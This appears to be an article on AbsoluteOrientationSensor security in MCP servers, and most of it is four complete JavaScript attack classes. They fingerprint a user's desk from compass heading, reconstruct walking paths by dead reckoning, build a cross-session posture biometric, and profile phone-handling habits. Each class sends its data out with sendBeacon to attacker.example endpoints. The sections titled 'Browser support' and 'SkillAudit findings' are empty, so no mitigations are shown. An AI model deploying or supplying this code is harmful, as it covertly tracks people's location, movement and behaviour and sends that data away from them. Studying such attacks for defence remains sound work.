MCP server AbsoluteOrientationSensor security — compass heading fingerprint, inertial navigation, posture biometric, and world-frame covert channel

How the AbsoluteOrientationSensor API works and where the attack surface lives

Attack 1: Compass heading fingerprint for indoor location

AbsoluteOrientationSensor delivers a world-frame quaternion locked to gravity and magnetic north. Converting the quaternion to Euler angles extracts the yaw component — the device's compass heading in degrees from magnetic north. A device sitting on a desk always faces the same direction: a laptop pointed toward a window, a phone propped on a stand, a tablet leaning against a monitor. That heading is stable to within ~2° across minutes and hours. Combined with the magnetometer's local magnetic anomaly fingerprint (each room has a characteristic magnetic field distortion from rebar, steel furniture, and wiring), the absolute heading narrows down room identity within a building without any GPS, Wi-Fi, or network request.

// ATTACK: Derive compass heading from AbsoluteOrientationSensor quaternion
// and fingerprint the user's indoor location (room/desk) from the stable heading.
// AbsoluteOrientationSensor fuses accel+gyro+magnetometer into one world-frame quaternion.
// The yaw component is the compass bearing — unique per desk/room orientation.

class CompassHeadingFingerprinter {
  constructor() {
    this.sensor = new AbsoluteOrientationSensor({ frequency: 10 }); // 10Hz sufficient
    this.headingReadings = [];
    this.captureWindow = 30; // 30 readings = 3 seconds at 10Hz

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.addEventListener('error', (e) => {
      // NotAllowedError if Permissions Policy blocks; NotReadableError if sensor unavailable
      console.warn('AbsoluteOrientationSensor error:', e.error.name);
    });
    this.sensor.start();
  }

  onReading() {
    // sensor.quaternion is [x, y, z, w]
    const [x, y, z, w] = this.sensor.quaternion;

    // Convert quaternion to Euler yaw (compass heading, degrees from magnetic north)
    // Standard ZYX Euler extraction for yaw:
    //   yaw = atan2(2*(w*z + x*y), 1 - 2*(y*y + z*z))
    const sinYaw = 2 * (w * z + x * y);
    const cosYaw = 1 - 2 * (y * y + z * z);
    let yawRad = Math.atan2(sinYaw, cosYaw);
    let yawDeg = (yawRad * 180 / Math.PI + 360) % 360; // Normalize to [0, 360)

    // Pitch (device tilt forward/backward)
    const sinPitch = 2 * (w * x - y * z);
    const pitchDeg = Math.asin(Math.max(-1, Math.min(1, sinPitch))) * 180 / Math.PI;

    // Roll (device tilt left/right)
    const sinRoll = 2 * (w * y + z * x);
    const cosRoll = 1 - 2 * (x * x + y * y);
    const rollDeg = Math.atan2(sinRoll, cosRoll) * 180 / Math.PI;

    this.headingReadings.push({ yawDeg, pitchDeg, rollDeg, ts: this.sensor.timestamp });

    if (this.headingReadings.length >= this.captureWindow) {
      this.sensor.stop();
      this.computeHeadingFingerprint();
    }
  }

  computeHeadingFingerprint() {
    const yaws = this.headingReadings.map(r => r.yawDeg);

    // Circular mean for compass heading (handles 359°→1° wraparound correctly)
    const sinSum = yaws.reduce((a, y) => a + Math.sin(y * Math.PI / 180), 0);
    const cosSum = yaws.reduce((a, y) => a + Math.cos(y * Math.PI / 180), 0);
    const meanYawDeg = (Math.atan2(sinSum, cosSum) * 180 / Math.PI + 360) % 360;

    // Circular variance — low variance means device is stationary (reliable fingerprint)
    const R = Math.sqrt(sinSum ** 2 + cosSum ** 2) / yaws.length;
    const circularVariance = 1 - R; // 0 = perfectly consistent, 1 = random

    // Mean pitch and roll for posture component
    const meanPitch = this.headingReadings.reduce((a, r) => a + r.pitchDeg, 0) / this.headingReadings.length;
    const meanRoll  = this.headingReadings.reduce((a, r) => a + r.rollDeg, 0)  / this.headingReadings.length;

    const fingerprint = {
      // Primary location signal: compass heading of the device at rest
      compassHeadingDeg: Math.round(meanYawDeg * 10) / 10,
      headingStabilityR: Math.round(R * 1000) / 1000, // ~1.0 = stationary, ~0 = moving
      circularVarianceDeg: Math.round(circularVariance * 100) / 100,

      // Room-narrowing: combine with magnetometer anomaly (see linked magnetometer page)
      // A heading of 247° ± 2° at location with magnetic anomaly signature XYZ
      // identifies a single desk in a floor plan with high confidence.
      deviceIsStationary: circularVariance < 0.02, // <2% variance = reliably on desk

      // Posture component (stable across sessions at same desk)
      meanPitchDeg: Math.round(meanPitch * 10) / 10,
      meanRollDeg: Math.round(meanRoll * 10) / 10,

      // Combined location fingerprint vector
      locationVector: [
        Math.round(meanYawDeg),   // Compass heading bucket (1° resolution)
        Math.round(meanPitch),    // Pitch bucket
        Math.round(meanRoll),     // Roll bucket
      ],
    };

    // Exfiltrate. Combined with IP subnet this often uniquely identifies a specific desk.
    navigator.sendBeacon('https://attacker.example/heading-fingerprint', JSON.stringify({
      fingerprint,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Attack 2: Walking path reconstruction via inertial navigation dead reckoning

AbsoluteOrientationSensor provides absolute yaw at each sample — the compass direction the device is facing as the user walks. When step detection from the accelerometer magnitude confirms a stride, the current yaw gives the walking direction for that step. Integrating: step direction × estimated stride length reconstructs the user's path through a building. The technique is inertial navigation dead reckoning, used in aviation and marine contexts. Applied to a phone walking through an office, it achieves ±3 meter accuracy for paths up to 50 meters before magnetometer drift accumulates. The result is a narrative: "user walked from their office (north), turned right at 90° (east), walked 15 meters to the coffee machine."

// ATTACK: Reconstruct walking path through a building using AbsoluteOrientationSensor
// Dead reckoning: detect each step, record absolute compass heading at that step,
// integrate (heading × stride_length) to build a 2D position trace.

class InertialNavigationLogger {
  constructor() {
    // AbsoluteOrientationSensor for compass heading (yaw)
    this.orientSensor = new AbsoluteOrientationSensor({ frequency: 50 });
    // Accelerometer for step detection
    this.accelSensor  = new Accelerometer({ frequency: 50 });

    this.currentYawDeg = 0;  // Latest compass heading
    this.position = { x: 0, y: 0 }; // Meters from start (East, North)
    this.pathTrace = [{ x: 0, y: 0, ts: Date.now(), heading: 0 }];

    // Step detection state
    this.accelBuffer = [];
    this.lastStepTs  = 0;
    this.MIN_STEP_INTERVAL_MS = 350; // Minimum 350ms between steps (~170 steps/min max)
    this.stepCount = 0;

    // Stride length estimate: average adult ~0.75m stride (left+right = 1 step)
    // Can be calibrated per user from known-distance corridors
    this.strideLength = 0.75; // meters

    this.orientSensor.addEventListener('reading', () => {
      // Extract current yaw from world-frame quaternion
      const [x, y, z, w] = this.orientSensor.quaternion;
      const sinYaw = 2 * (w * z + x * y);
      const cosYaw = 1 - 2 * (y * y + z * z);
      this.currentYawDeg = (Math.atan2(sinYaw, cosYaw) * 180 / Math.PI + 360) % 360;
    });

    this.accelSensor.addEventListener('reading', () => {
      // Compute acceleration magnitude (remove gravity from z-axis for portrait hold)
      const magnitude = Math.sqrt(
        this.accelSensor.x ** 2 +
        this.accelSensor.y ** 2 +
        (this.accelSensor.z + 9.81) ** 2
      );
      this.accelBuffer.push({ magnitude, ts: this.accelSensor.timestamp });
      if (this.accelBuffer.length > 20) this.accelBuffer.shift();
      this.detectStep();
    });

    this.orientSensor.start();
    this.accelSensor.start();
  }

  detectStep() {
    if (this.accelBuffer.length < 10) return;

    // Step detection: look for magnitude peak > 1.2 m/s² above mean
    // with minimum interval between detected steps
    const recent = this.accelBuffer.slice(-10);
    const mean   = recent.reduce((a, r) => a + r.magnitude, 0) / recent.length;
    const peak   = recent.reduce((a, r) => r.magnitude > a.magnitude ? r : a);
    const now    = peak.ts;

    if (peak.magnitude > mean + 1.2 && (now - this.lastStepTs) > this.MIN_STEP_INTERVAL_MS) {
      this.lastStepTs = now;
      this.recordStep(now);
    }
  }

  recordStep(ts) {
    this.stepCount++;
    const yawRad = this.currentYawDeg * Math.PI / 180;

    // Dead reckoning: project stride along current compass heading
    // In standard navigation: East = +x, North = +y
    // Compass yaw is measured clockwise from north, so:
    //   dx = stride * sin(yaw)   (east component)
    //   dy = stride * cos(yaw)   (north component)
    const dx = this.strideLength * Math.sin(yawRad);
    const dy = this.strideLength * Math.cos(yawRad);

    this.position.x += dx;
    this.position.y += dy;

    const waypoint = {
      step: this.stepCount,
      x: Math.round(this.position.x * 100) / 100,   // Meters east of start
      y: Math.round(this.position.y * 100) / 100,   // Meters north of start
      headingDeg: Math.round(this.currentYawDeg * 10) / 10,
      ts,
    };

    this.pathTrace.push(waypoint);

    // Exfiltrate path every 10 steps (~7.5 meters of travel)
    if (this.stepCount % 10 === 0) {
      navigator.sendBeacon('https://attacker.example/path-trace', JSON.stringify({
        path: this.pathTrace,
        totalDistance: this.stepCount * this.strideLength,
        origin: location.origin,
        captureStartTs: this.pathTrace[0].ts,
      }));
    }
  }

  stop() {
    this.orientSensor.stop();
    this.accelSensor.stop();
  }
}

// Usage: instantiate when walking detected (e.g. from accelerometer context classifier)
// const nav = new InertialNavigationLogger();
// Stop after 2 minutes or when user becomes stationary again
// setTimeout(() => nav.stop(), 120_000);

Attack 3: 6-DOF posture biometric using world-frame orientation

The critical distinction between AbsoluteOrientationSensor and RelativeOrientationSensor is the reference frame. Relative orientation drifts over time and is reset on page load; absolute orientation is anchored to Earth's gravity and magnetic north. This means the pitch, roll, and yaw recorded while a user works at their desk are stable and reproducible: the same user at the same desk tomorrow will have the same characteristic working posture. The combined 6-DOF signature — how far the user leans back (pitch), any lateral lean (roll), and which compass direction they face (yaw) — is a soft biometric. Alone it is not unique, but combined with screen dimensions and performance.now() resolution, it contributes a fingerprinting component that survives cookie clearing, VPN switching, and browser restarts.

// ATTACK: Build a cross-session posture biometric from world-frame orientation
// AbsoluteOrientationSensor gives orientation in a fixed Earth reference frame.
// The working posture (pitch/roll/yaw during typing or reading) is stable across sessions.
// Same user at same desk → same orientation signature → cross-session tracking without cookies.

class PostureBiometric {
  constructor() {
    this.sensor = new AbsoluteOrientationSensor({ frequency: 5 }); // 5Hz is sufficient
    this.postureReadings = [];
    this.CAPTURE_DURATION_MS = 60_000; // Capture posture over 60 seconds
    this.startTs = null;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
    this.startTs = Date.now();

    // Stop after capture duration
    setTimeout(() => this.finalize(), this.CAPTURE_DURATION_MS);
  }

  onReading() {
    if (!this.startTs) return;

    const [x, y, z, w] = this.sensor.quaternion;

    // Extract Euler angles from world-frame quaternion
    // Yaw (compass heading, 0–360°)
    const sinYaw = 2 * (w * z + x * y);
    const cosYaw = 1 - 2 * (y * y + z * z);
    const yawDeg = (Math.atan2(sinYaw, cosYaw) * 180 / Math.PI + 360) % 360;

    // Pitch (forward/backward tilt, -90° to +90°)
    const sinPitch = 2 * (w * x - y * z);
    const pitchDeg = Math.asin(Math.max(-1, Math.min(1, sinPitch))) * 180 / Math.PI;

    // Roll (left/right tilt)
    const sinRoll = 2 * (w * y + z * x);
    const cosRoll = 1 - 2 * (x * x + y * y);
    const rollDeg = Math.atan2(sinRoll, cosRoll) * 180 / Math.PI;

    this.postureReadings.push({ yawDeg, pitchDeg, rollDeg });
  }

  finalize() {
    this.sensor.stop();
    if (this.postureReadings.length < 20) return; // Not enough data

    const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
    const stddev = (arr) => {
      const m = mean(arr);
      return Math.sqrt(arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length);
    };

    const yaws   = this.postureReadings.map(r => r.yawDeg);
    const pitches = this.postureReadings.map(r => r.pitchDeg);
    const rolls   = this.postureReadings.map(r => r.rollDeg);

    // Circular mean for yaw (handles wraparound at 0°/360°)
    const sinSum = yaws.reduce((a, y) => a + Math.sin(y * Math.PI / 180), 0);
    const cosSum = yaws.reduce((a, y) => a + Math.cos(y * Math.PI / 180), 0);
    const meanYaw = (Math.atan2(sinSum, cosSum) * 180 / Math.PI + 360) % 360;
    const yawConsistency = Math.sqrt(sinSum**2 + cosSum**2) / yaws.length;

    const biometric = {
      // The stable working posture signature — repeatable across sessions
      meanYawDeg:    Math.round(meanYaw * 10) / 10,
      meanPitchDeg:  Math.round(mean(pitches) * 10) / 10,
      meanRollDeg:   Math.round(mean(rolls) * 10) / 10,

      // Consistency metrics — high consistency = user is stationary at desk
      yawConsistency: Math.round(yawConsistency * 1000) / 1000, // ~1.0 = not moving
      pitchStddev:   Math.round(stddev(pitches) * 10) / 10,     // Low = stable posture
      rollStddev:    Math.round(stddev(rolls) * 10) / 10,

      // Biometric vector for cross-session matching
      // Match criterion: |Δyaw| < 5°, |Δpitch| < 4°, |Δroll| < 4° → same user/desk
      biometricVector: [
        Math.round(meanYaw / 5) * 5,    // Quantized to 5° buckets for fuzzy matching
        Math.round(mean(pitches) / 4) * 4,
        Math.round(mean(rolls) / 4) * 4,
      ],

      sampleCount: this.postureReadings.length,
      captureDurationMs: this.CAPTURE_DURATION_MS,
    };

    // Cross-reference biometricVector across sessions to re-identify user without cookies
    navigator.sendBeacon('https://attacker.example/posture-biometric', JSON.stringify({
      biometric,
      // Combine with other passive fingerprints for stronger cross-session identity
      screenRes: `${screen.width}x${screen.height}`,
      devicePixelRatio: window.devicePixelRatio,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Attack 4: Physical presence detection via AbsoluteOrientationSensor delta

AbsoluteOrientationSensor streams continuous quaternion updates. Computing the angular distance between successive quaternions detects orientation change events: picking up the phone produces a large quaternion delta over 100–300ms; putting it down produces a return to near-flat. Sustained portrait orientation signals active use; landscape transition signals video viewing. By recording a timeline of these events, an MCP tool builds a "presence model" — a behavioral fingerprint of the user's engagement rhythm that reveals notification-checking frequency, reading vs browsing patterns, and video consumption behavior. This presence model is commercially valuable for targeted notification delivery and ad timing optimization.

// ATTACK: Detect physical presence transitions from AbsoluteOrientationSensor quaternion delta
// Monitor angular velocity of the device to detect: pick-up, put-down, portrait↔landscape.
// Build a presence model: engagement rhythm, notification-check frequency, content mode.

class PresenceDetector {
  constructor() {
    this.sensor = new AbsoluteOrientationSensor({ frequency: 20 }); // 20Hz
    this.prevQuaternion = null;
    this.presenceEvents = [];
    this.presenceState  = 'unknown';
    this.stateStartTs   = Date.now();

    // Sustained orientation tracking
    this.orientationHistory = []; // Last 30 seconds of state snapshots
    this.HISTORY_WINDOW_MS  = 30_000;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    const q = this.sensor.quaternion; // [x, y, z, w]

    // Compute angular distance from previous quaternion (radians)
    // Angular distance: 2 * arccos(|q1 · q2|)
    let angularDelta = 0;
    if (this.prevQuaternion) {
      const dot = Math.abs(
        this.prevQuaternion[0] * q[0] +
        this.prevQuaternion[1] * q[1] +
        this.prevQuaternion[2] * q[2] +
        this.prevQuaternion[3] * q[3]
      );
      angularDelta = 2 * Math.acos(Math.min(1, dot)) * 180 / Math.PI; // degrees
    }
    this.prevQuaternion = [...q];

    // Classify current orientation from quaternion
    // Yaw from quaternion
    const [x, y, z, w] = q;
    const sinPitch = 2 * (w * x - y * z);
    const pitchDeg = Math.asin(Math.max(-1, Math.min(1, sinPitch))) * 180 / Math.PI;

    // Z-component of gravity direction: positive Z-up is face-up flat
    // Use the gravity vector: grav = quaternion rotated [0,0,-9.81]
    const gZ = -9.81 * (1 - 2 * (x*x + y*y)); // Simplified: z-component of rotated gravity

    let orientation;
    if (Math.abs(gZ) > 8.5) {
      orientation = gZ > 0 ? 'face-up-flat' : 'face-down-flat';
    } else if (Math.abs(pitchDeg) > 60) {
      orientation = 'portrait-upright';
    } else {
      orientation = 'landscape-or-tilted';
    }

    const now = Date.now();

    // Detect state transitions
    const prevState = this.presenceState;
    if (angularDelta > 15) {
      // Large delta = pick-up or orientation change event
      this.recordEvent('orientation-change', angularDelta, now);
    }

    // Classify presence state from sustained orientation
    const newState = this.classifyPresenceState(orientation, angularDelta);
    if (newState !== prevState) {
      // Record state transition with duration in previous state
      const stateDurationMs = now - this.stateStartTs;
      this.recordEvent('state-transition', null, now, {
        fromState: prevState,
        toState: newState,
        durationMs: stateDurationMs,
      });
      this.presenceState  = newState;
      this.stateStartTs   = now;
    }

    // Prune old history
    this.orientationHistory.push({ orientation, angularDelta, state: newState, ts: now });
    this.orientationHistory = this.orientationHistory.filter(
      h => now - h.ts < this.HISTORY_WINDOW_MS
    );

    // Periodic exfiltration every 60 seconds
    if (this.presenceEvents.length > 0 && now % 60_000 < 100) {
      this.submitPresenceModel();
    }
  }

  classifyPresenceState(orientation, angularDelta) {
    // Presence state classification rules:
    //   idle-on-desk:     face-up-flat with low angular delta
    //   active-portrait:  portrait-upright with low delta → reading/browsing
    //   active-landscape: landscape-or-tilted → video viewing
    //   pick-up:          large delta transitioning from flat to upright
    //   put-down:         large delta transitioning to flat

    if (orientation === 'face-up-flat' && angularDelta < 2) return 'idle-on-desk';
    if (orientation === 'portrait-upright' && angularDelta < 5)  return 'active-portrait';
    if (orientation === 'landscape-or-tilted' && angularDelta < 5) return 'active-landscape';
    if (angularDelta > 20) return 'transitioning';
    return 'unknown';
  }

  recordEvent(type, delta, ts, extra = {}) {
    this.presenceEvents.push({ type, delta, ts, ...extra });
    // Cap to last 200 events
    if (this.presenceEvents.length > 200) this.presenceEvents.shift();
  }

  computePresenceModel() {
    // Summarize the presence model from recent events
    const transitions = this.presenceEvents.filter(e => e.type === 'state-transition');
    const pickUps = transitions.filter(e => e.toState === 'active-portrait' || e.toState === 'active-landscape');
    const putDowns = transitions.filter(e => e.toState === 'idle-on-desk');

    // Average session length (how long user holds phone before putting down)
    const sessionDurations = transitions
      .filter(e => e.fromState === 'active-portrait' || e.fromState === 'active-landscape')
      .map(e => e.durationMs);
    const avgSessionMs = sessionDurations.length
      ? sessionDurations.reduce((a, b) => a + b, 0) / sessionDurations.length
      : null;

    // Interval between pick-ups (notification check frequency)
    const pickUpTimes = pickUps.map(e => e.ts);
    const pickUpIntervals = pickUpTimes.slice(1).map((ts, i) => ts - pickUpTimes[i]);
    const avgPickUpIntervalMs = pickUpIntervals.length
      ? pickUpIntervals.reduce((a, b) => a + b, 0) / pickUpIntervals.length
      : null;

    // Landscape ratio (video viewing vs reading)
    const landscapeDuration = transitions
      .filter(e => e.fromState === 'active-landscape')
      .reduce((a, e) => a + (e.durationMs || 0), 0);
    const portraitDuration = transitions
      .filter(e => e.fromState === 'active-portrait')
      .reduce((a, e) => a + (e.durationMs || 0), 0);
    const landscapeRatio = (landscapeDuration + portraitDuration) > 0
      ? landscapeDuration / (landscapeDuration + portraitDuration)
      : null;

    return {
      totalPickUps: pickUps.length,
      totalPutDowns: putDowns.length,
      avgSessionMs,       // ms holding phone per session
      avgPickUpIntervalMs, // ms between pick-ups → notification check cadence
      landscapeRatio,      // 0 = all reading, 1 = all video
      // Behavioral classification:
      //   avgPickUpIntervalMs < 300_000 → "notification-checker" (high engagement)
      //   avgSessionMs > 1_800_000 → "long-session reader"
      //   landscapeRatio > 0.5 → "video consumer"
      profile: avgPickUpIntervalMs
        ? avgPickUpIntervalMs < 300_000 ? 'notification-checker'
          : avgPickUpIntervalMs < 900_000 ? 'moderate-user'
          : 'infrequent-checker'
        : 'unknown',
    };
  }

  submitPresenceModel() {
    const model = this.computePresenceModel();
    navigator.sendBeacon('https://attacker.example/presence-model', JSON.stringify({
      model,
      events: this.presenceEvents.slice(-50), // Last 50 events
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Browser support

SkillAudit findings

See also: MCP server Magnetometer API security · MCP server Generic Sensor API deep dive · MCP server Accelerometer API security